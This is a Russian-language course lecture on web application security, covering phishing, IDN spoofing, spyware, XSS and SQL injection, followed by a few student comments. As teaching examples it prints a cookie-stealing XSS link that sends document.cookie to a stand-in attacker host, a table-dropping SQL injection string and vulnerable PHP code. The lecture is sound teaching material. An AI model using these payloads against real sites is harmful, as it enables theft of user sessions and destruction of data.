Опубликован: 04.07.2012 | Уровень: специалист | Доступ: платный

Лекция 16: Обеспечение безопасности веб-приложений

Аннотация: Цель лекции: обзор проблем безопасности в сфере веб-технологий, наиболее распространенных уязвимостей и средств противодействия им. Обзор инструментов повышения безопасности в веб-браузере Internet Explorer.
Ключевые слова: обмен информацией, сервер, ПО, программное обеспечение, DNS, злоумышленник, вредоносное ПО, уязвимость, phishing, ресурс, дизайн, доступ, доверие, IDN, international, domain name, сайт, microsoft, spoofing, URL, spyware, программа, screenshot, instant messaging, Web, injective, атака, download, загрузка, мультимедиа, css, HTML, информация, ссылка, браузер, запрос, collect, script, vulnerability, файл, cookie, true, SQL, входные данные, PHP, пользователь, список, команда, инструкция, таблица, СУБД, функция, SQL-инъекции, сегменты, запись, поле, вредоносный код, контент, имя пользователя, угроза, XSS, GET, POST, базы данных, сетевые компьютеры, Интернет, сеть, WWW, Windows, компьютер, приложение, отображение, Java, тег, множества, пункт, кража, интерфейс, ClickJacking, фальсификация, операции, service, site, сценарий, flash, заголовки, распознавание, механизмы, регистрация, сигнатурный анализ, вторжение, Интернет-угрозы, Internet Explorer, хостинг, активность, wiki, шлюз, брандмауэр, межсетевой экран, контроль, OSI, firewall, social engineering, HTTPS, temporary, Internet, сохранение данных, сеанс, анализ, веб-узел, счетчик, поддержка, Windows Vista, исполнение, ATL, Data, execution, prevention, запуск, DEP, процессор, место, функции безопасности, space, layout, randomization, JVM, Active, library, JIT, compile, исполняемый код, завершение работы, API, Дополнение, опция, скрипт, ядро, loosely coupled, security, MSE, DSS, dynamic, signature, деятельность

В данной лекции рассматриваются некоторые наиболее распространенные уязвимости веб-серверов и методы, противодействующие использованию данных уязвимостей.

В последние годы число атак, нацеленных на веб-сервера, значительно возросло. Веб-серверы особенно уязвимы в силу своей открытости, поскольку рассчитаны на обмен информацией с пользователями.

Веб-сервер формируется несколькими слоями ПО (рис. 23.1), каждый из которых подвержен разнообразным способам атаки

 Многослойная структура ПО web-сервера.

увеличить изображение
Рис. 23.1. Многослойная структура ПО web-сервера.

Обеспечение безопасности операционной системы реализуется путем установления последних обновлений системы безопасности, регулярно выпускаемых разработчиками этой ОС.

Также следует вовремя обновлять все программное обеспечение, работающее на веб-сервере. Любое ПО, не относящееся к необходимым компонентам (например, DNS-сервер либо средства удаленного администрирования наподобие VNC или служб удаленных рабочих столов), следует отключить или удалить.

Использование антивирусного ПО является обязательным требованием для любого веб-сервера вне зависимости от операционной системы, используемой в качестве платформы. В сочетании с гибким межсетевым экраном антивирусное ПО становится одним из самых эффективных способов защиты от угроз безопасности. Когда веб-сервер становится целью атаки, злоумышленник без промедления пытается загрузить инструменты взлома или вредоносное ПО, чтобы успеть использовать уязвимость системы безопасности до того, как она будет закрыта. При отсутствии качественного антивирусного пакета уязвимость системы безопасности может долгое время оставаться незамеченной.

Атаки веб-серверов можно разделить на две категории: локальные и глобальные.

Локальные атаки обычно направлены на кражу информации или перехват управления на отдельном веб-сервере.

Глобальные атаки обычно направлены на несколько веб-сайтов и ставят своей целью заражение всех их посетителей.

Наиболее опасные виды сетевых атак

Фишинг (phishing) - вид атаки, который начинается с рассылки почтовых сообщений, содержащих ссылку на известный ресурс (или имитирующий такую ссылку). Дизайн веб-страницы обычно копируется с воспроизводимого ресурса. На фальсифицируемой странице может быть, например, написано, что банк, где вы имеете счет, проводит акцию по проверке безопасности доступа, при этом предлагается ввести номер вашей кредитной карты и PIN-код. После ввода указанной информации, выводится сообщение о том, что все в порядке, а через некоторое время со счета пропадают деньги. Данная схема может быть использована не только для хищения денег. Получив доступ к аккаунту пользователя, злоумышленники получают тем самым доступ к его конфиденциальной информации.

Социальная инженерия - это метод несанкционированного доступа к информации или системам хранения информации без использования технических средств. Метод основан на использовании слабостей человеческого фактора и считается очень разрушительным. Злоумышленник получает информацию, например, путем сбора информации о служащих объекта атаки, с помощью обычного телефонного звонка или путем проникновения в организацию под видом ее служащего.

Scam - мошеннический трюк, заключающийся в том, чтобы, ссылаясь на авторитетных лиц, втереться в доверие и извлечь коммерческую выгоду.

Одним из возможных средств атак является использование IDN (International Domain Name). Дело в том, что в системах, поддерживающих IDN, допускается использование букв национальных алфавитов, а, например, некоторые буквы латинского и русского алфавитов пишутся идентично. Этим могут воспользоваться злоумышленники, они могут зарегистрировать имена, которые выглядит как имена известной фирмы, например microsoft.com, где некоторые буквы заменены на русские, так что это внешне не заметно, например, буквы с или о. Тогда при ошибочной замене одной или нескольких букв на русские клиент попадет не на сайт компании Microsoft, а на внешне неотличимый от него сайт злоумышленника.

Спуфинг (spoofing) - одна из разновидностей фишинга. Ее суть заключается в атаке через DNS (или каким-то иным способом), когда страница с известным URL подменяется страницей злоумышленника.

Троянский конь (Spyware) - программа, записывающая все нажатия клавиш на терминале или мышке, способна записывать screenshot'ы и передавать эти данные удаленному хозяину.

Spyware. Эта разновидность программ не обязательно вредоносна. Некоторые разработчики ПО встраивают такие программы в свои продукты, чтобы отслеживать предпочтения своих клиентов. К сожалению, не все эти программы столь безобидны. Некоторые программы spyware в соответствии со своим названием отслеживают действия хозяина машины, куда эта программа внедрена (нажатия клавиш, посещаемые сайты, конфиденциальную информацию и т.д.) и передают результаты своему хозяину. Заражение spyware может осуществиться традиционно через почту, IM (Instant Messaging) или в результате посещения скомпрометированного сайта.

Атаки на веб-серверы

Легальные WEB-серверы взламываются посредством следующих видов атак:

  • SQL-Injection
  • Вредоносной рекламы
  • Методом переадресации результатов работы поискового сервера
  • Через виртуальные хостинговые компании
  • Через уязвимости программ, обслуживающих форумы
  • Cross-site scripting

Одним из основных инструментов вторжения в последнее время стала атака типа "drive-by download" (загрузка файлов или скриптов без ведома хозяина). Разнообразие мультимедиа форматов также облегчает работу хакеров. Ведь пользователя обычно не удивляет необходимость загрузки новейшей версии кодека или драйвера для просмотра или прослушивания материала, размещенного на удаленном сервере.

Cross-Site Scripting (CSS) является одной из наиболее широко распространенных сетевых атак, преследующих цель, получение персональных данных с помощью веб-технологий (иногда этот вид атаки называют "HTML injection"). Задача решается за счет выполнения определенного Javascript кода в браузере жертвы. При этом получается некоторая информация, содержащаяся на машине жертвы (например, cookies). Метод не наносит непосредственного вреда, но может быть предшествовать более серьезной атаке.

Вредоносной может быть ссылка с использованием уязвимого веб-сайта:

http://www.vulnerable.site/welcome.cgi?name=
    <script>
      window.open("http://www.attacker.site/collect.cgi?cookie="%2Bdocument.cookie)
    </script>

Страница же отклика должна иметь вид (как результат исполнения wellcome.cgi):

<HTML>
  <Title>Welcome!</Title>
  Hi
  <script>
    window.open("http://www.attacker.site/collect.cgi?cookie="+document.cookie)
  </script>
  <BR>
  Welcome to our system
  ...
</HTML>

Браузер немедленно при загрузке этой страницы исполнит встроенный Javascript код и пошлет запрос "collect.cgi script" по адресу www.attacker.site, со значением cookies =www.vulnerable.site. Cookies могут также содержать аутентификационные и авторизационные данные, что представляет уже серьезную опасность.

Файлы cookie

Большинство браузеров поддерживают два метода, которые веб-приложения могут использовать для сохранения информации о запросах клиентов: обычные файлы cookie и файлы cookie сеанса.

Файл cookie - это небольшой файл, создаваемый браузером и хранящийся на компьютере пользователя. Его содержимое не регламентируется, но обычно в таких файлах хранится название, дата окончания срока действия и некий объем данных, например: "Visited = 36" или "Selected = true".

Файл cookie сеанса позволяет веб-приложениям хранить данные в памяти.

Различие между двумя методами заключается в том, что обычный файл cookie сохраняется на компьютере пользователя и остается на нем до момента удаления пользователем. Файл cookie сеанса, напротив, хранится только на протяжении времени работы компьютера и автоматически теряется при закрытии приложения-браузера. При этом оба файла подвержены манипуляциям извне.

В отношении файлов cookie необходимо стремится ограничить объем данных, сохраняемых в них, в особенности тогда, когда эти данные не следует хранить в открытом доступе. Оптимальный подход - считать все данные, хранящиеся на компьютере пользователя, ненадежными.

SQL-инъекция

SQL-инъекция используется для атаки веб-сайтов, работающих с базами данных. Возможность внедрения SQL-кода возникает, если в SQL-запросах используются неотфильтрованные данные, вводимые пользователями.

Многие современные веб-сайты используют сценарии и SQL-запросы для динамического формирования содержимого страницы. В SQL-запросах часто используются данные, вводимые пользователями; это может привести к угрозе безопасности, поскольку злоумышленники могут попытаться внедрить во входные данные вредоносный SQL-код. Без надлежащих мер защиты такой код может быть успешно выполнен на сервере.

Рассмотрим следующий PHP-код:

$firstname = $_POST["firstname"]; 
mysql_query("SELECT * FROM users WHERE 
    first_name='$firstname'");

После того, как пользователь введет свое имя в веб-форме, SQL-запрос вернет список всех пользователей с тем же именем. Если указать в форме имя "John", то SQL-запрос будет иметь следующий вид:

"SELECT * FROM users WHERE first_name='John'"

Это допустимая конструкция, которая сработает так, как и ожидается. Однако, если вместо имени ввести, например, "'; drop table users; #", то конструкция будет выглядеть следующим образом:

"SELECT * FROM users WHERE first_name=''; DROP TABLE users; #'"

Точка с запятой позволяет выполнять несколько следующих друг за другом команд. В результате простая SQL-команда превращается в сложную трехсоставную конструкцию:

SELECT * FROM users WHERE first_name='';

Исходная инструкция теперь бесполезна - ее можно пропустить. Вторая инструкция приведет к тому, что в базе данных будет целиком удалена соответствующая таблица, а стоящий в третьей строке символ "#" приведет к тому, что СУБД проигнорирует оставшуюся часть строки (как часть комментария) без выдачи сообщений о синтаксической ошибки в запросе.

Приведенная в примере уязвимость особенно опасна, поскольку ее можно использовать для вывода закрытых данных, изменения отдельных полей или удаления информации. Некоторые СУБД также позволяют выполнять системные команды с помощью SQL.

В принципе, этот вид угрозы легко устраним благодаря проверке вводимых пользователем данных. Например, в PHP имеется специальная функция mysql_real_escape_string, удаляющая из строки потенциальный код SQL-инъекции. Ее следует использовать для фильтрации всех данных, внедряемых в SQL-инструкции.

XSS (межсайтовый скриптинг)

Данный вид атак направлен на веб-сайты, отображающие вводимые пользователями данные. Вместо попытки получения контроля над базой данных путем ввода вредоносного кода злоумышленник пытается атаковать код самого веб-сайта, внедряя в него вредоносные сегменты.

Многие сайты хранят имена всех посетителей в базе данных, чтобы иметь возможность отображать их при вводе соответствующих пользователей. Злоумышленник может создать подложную учетную запись, разместив при этом в поле имени вредоносный код. Подобные атаки обычно реализуются с помощью вредоносных скриптов на языке Javascript, которые затем загружают контент с другого веб-сайта. Предполагается, что в базе данных хранится имя пользователя, но на самом деле в данном случае это будет вредоносный код. Соответственно, если веб-сайт отображает имя пользователя в верхней части страницы, то этот код будет выполнен. Поскольку при наличии определенных условий такой код может делать практически все, что угодно, угроза становится вполне реальной; тем не менее, разработчики зачастую про нее забывают. В разное время жертвами XSS-атак стали многие популярные веб-сайты, в том числе MySpace, Facebook, Google Mail, ВКонтакте.

Рассмотрим следующий PHP-код:

$firstname = $_POST["firstname"];
echo "Your name: $firstname";

После ввода имени в веб-форме сайт отображает на странице соответствующее сообщение. Если указать в форме имя "John", то сообщение будет иметь следующий вид: "Your name: John".

Что произойдет, если вместо имени ввести следующую конструкцию:

"<script>alert ("You just got hacked!") ;</script>" ?

К сожалению, XSS-атакам зачастую трудно что-либо противопоставить, поскольку для этого необходимо должным образом фильтровать вводимые и выводимые данные, а также все поля, которые могут меняться пользователями. Сюда относятся данные, получаемые из запросов GET и POST, а также запросы, возвращаемые из базы данных.

Сергей Крупко
Сергей Крупко

Добрый день.

Я сейчас прохожу курс  повышения квалификации  - "Профессиональное веб-программирование". Мне нужно получить диплом по этому курсу. Я так полагаю нужно его оплатить чтобы получить диплом о повышении квалификации. Как мне оплатить этот курс?

 

Галина Башкирова
Галина Башкирова

Здравствуйте, недавно закончила курс по проф веб программиованию, мне прислали методические указания с примерами тем, однако темы там для специальности 

Системный администратор информационно-коммуникационных» систем.
Мне нужно самой найти тему? или делать по высланным темам

 

Мария Кравцова
Мария Кравцова
Россия, Сочи, РГПУ им. А.И.Герцена, 1997
Екатерина Архангельская
Екатерина Архангельская
Россия, СПбГУАП